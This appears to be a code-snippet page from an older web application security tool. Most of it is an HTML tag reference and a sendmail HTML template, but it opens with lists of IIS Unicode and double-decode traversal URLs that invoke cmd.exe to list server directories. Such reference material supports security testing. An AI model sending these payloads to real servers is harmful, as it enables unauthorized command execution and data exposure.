WhiteHat Arsenal 1.07 Beta Code Snippets

Code Snippets
Various useful snippets of code related to web application security.
IIS Unicode Vulnerability Strings
Code Snippet description
http://EnglishNTServer/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ http://EnglishNTServer/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\winnt\repair http://EnglishNTServer/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\InetPub\wwwroot\_private http://ChineseNTServerNameHere/msadc/..%1c%0a../winnt/system32/cmd.exe?/c+dir+c:\
IIS Double-Decode Vulnerability Strings
Code Snippet description
http://NTServer/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir http://NTServer/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir http://NTServer/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir http://NTServer/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir http://NTServer/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir http://NTServer/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir http://NTServer/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir http://NTServer/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir http://NTServer/scripts/..%255c../winnt/system32/cmd.exe?/c+dir http://NTServer/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir http://NTServer/iisadmpwd/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir http://NTServer/cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir http://NTServer/samples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir http://NTServer/_vti_cnf/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir http://NTServer/adsamples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir
Sendmail HTML Mail
Code Snippet description
MIME-Version: 1.0 From: "You" <you@foo.com> To: someone@foo.com Subject: The Subject Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 02 Apr 2002 10:49:08 PST <html><body> </body></html> .
All HTML Tags
Code Snippet description
<!DOCTYPE> <A>A</A> A (anchor or link) <ACRONYM> <ADDRESS>ADDRESS</ADDRESS> ADDRESS (address format) <APPLET>APPLET</APPLET> APPLET (Java applet) <AREA>AREA</AREA> AREA (area of image map) <B>B</B> B (boldface) <BASE>BASE</BASE> BASE (base URL) <BASEFONT>BASEFONT</BASEFONT> BASEFONT (default font size) <BDO> <BGSOUND> <BIG>BIG</BIG> BIG (bigger font size) <BLINK>BLINK</BLINK> BLINK (blinking text) <BLOCKQUOTE>BLOCKQUOTE</BLOCKQUOTE> BLOCKQUOTE (indented block of text) <BODY>BODY</BODY> BODY (main content of document) <BR>BR</BR> BR (line break) <BUTTON> <CAPTION>CAPTION</CAPTION> CAPTION (table caption) <CENTER>CENTER</CENTER> CENTER (centered content) <CITE>CITE</CITE> CITE (inline citation) <CODE>CODE</CODE> CODE (inline code) <COLGROUP> <DD>DD</DD> DD (definition description) <DEL> <DFN> <DIR>DIR</DIR> DIR (directory list) <DIV>DIV</DIV> DIV (section of a document) <DL>DL</DL> DL (definition list) <DT>DT</DT> DT (definition term) <EM>EM</EM> EM (emphasized text) <EMBED>EMBED</EMBED> EMBED (embedded plug-in) <FIELDSET> <FONT>FONT</FONT> FONT (font color, face, and size) <FORM>FORM</FORM> FORM (form for user input) <FRAME>FRAME</FRAME> FRAME (window region) <FRAMESET>FRAMESET</FRAMESET> FRAMESET (set of frames) <H1>H1</H1> H1 through H6 (standard headings) <HEAD>HEAD</HEAD> HEAD (document header) <HN> <HR>HR</HR> HR (horizontal rule) <HTML>HTML</HTML> HTML (outermost tag) <I>I</I> I (italic) <IFRAME>IFRAME</IFRAME> IFRAME <ILAYER>ILAYER</ILAYER> ILAYER (inline layer) <IMG>IMG</IMG> IMG (image) <INPUT>INPUT</INPUT> INPUT (input element in a form) <INS> <ISINDEX>ISINDEX</ISINDEX> ISINDEX (searchable index) <KBD>KBD</KBD> KBD (keyboard text) <KEYGEN>KEYGEN</KEYGEN> KEYGEN (generate key material) <LAYER>LAYER</LAYER> LAYER (positioned HTML content) <LEGEND> <LI>LI</LI> LI (list item) <LINK>LINK</LINK> LINK (link to external files) <LISTING> <MAP>MAP</MAP> MAP (mapping information for image map) <MARQUEE> LOOP <MENU>MENU</MENU> MENU (list of simple items) <META>META</META> META (metadocument information) <MULTICOL>MULTICOL</MULTICOL> MULTICOL (multiple column formatting) <NOBR>NOBR</NOBR> NOBR (no break) <NOEMBED>NOEMBED</NOEMBED> NOEMBED (alternative text for embedded objects) <NOFRAMES>NOFRAMES</NOFRAMES> NOFRAMES (alternative text for frames) <NOLAYER>NOLAYER</NOLAYER> NOLAYER (alternative text for layers) <NOSCRIPT>NOSCRIPT</NOSCRIPT> NOSCRIPT (alternative text for JavaScript) <OBJECT>OBJECT</OBJECT> OBJECT (embedded object) <OL>OL</OL> OL (ordered list) <OPTION>OPTION</OPTION> OPTION (option in a SELECT list) <P>P</P> P (paragraph) <PARAM>PARAM</PARAM> PARAM (parameter for an applet) <PLAINTEXT>PLAINTEXT</PLAINTEXT> PLAINTEXT (display rest of document as-is) <PRE>PRE</PRE> PRE (preformatted text, fixed-width font) <Q> <RT> <RUBE> <S>S</S> S (strikeout type) <SAMP> <SCRIPT>SCRIPT</SCRIPT> SCRIPT (client-side JavaScript code) <SELECT>SELECT</SELECT> SELECT (selection list in a form) <SERVER>SERVER</SERVER> SERVER (server-side script) <SMALL>SMALL</SMALL> SMALL (smaller font size) <SPACER>SPACER</SPACER> SPACER (extra space) <SPAN>SPAN</SPAN> SPAN (span of content) <STRIKE>STRIKE</STRIKE> STRIKE (strikeout type) <STRONG>STRONG</STRONG> STRONG (strong emphasis) <STYLE>STYLE</STYLE> STYLE (style definition) <SUB>SUB</SUB> SUB (subscript) <SUP>SUP</SUP> SUP (superscript) <TBODY> <TABLE>TABLE</TABLE> TABLE (table) <TD>TD</TD> TD (table data) <TH>TH</TH> TH (table heading) <TITLE>TITLE</TITLE> TITLE (document title) <TR>TR</TR> TR (table row) <TT>TT</TT> TT (typewriter font) <U>U</U> U (underline) <UL>UL</UL> UL (unordered list) <VAR>VAR</VAR> VAR (variable) <WBR>WBR</WBR> WBR (word break) <XML> text-autospace <XMP>XMP</XMP> XMP (sequence of literal characters)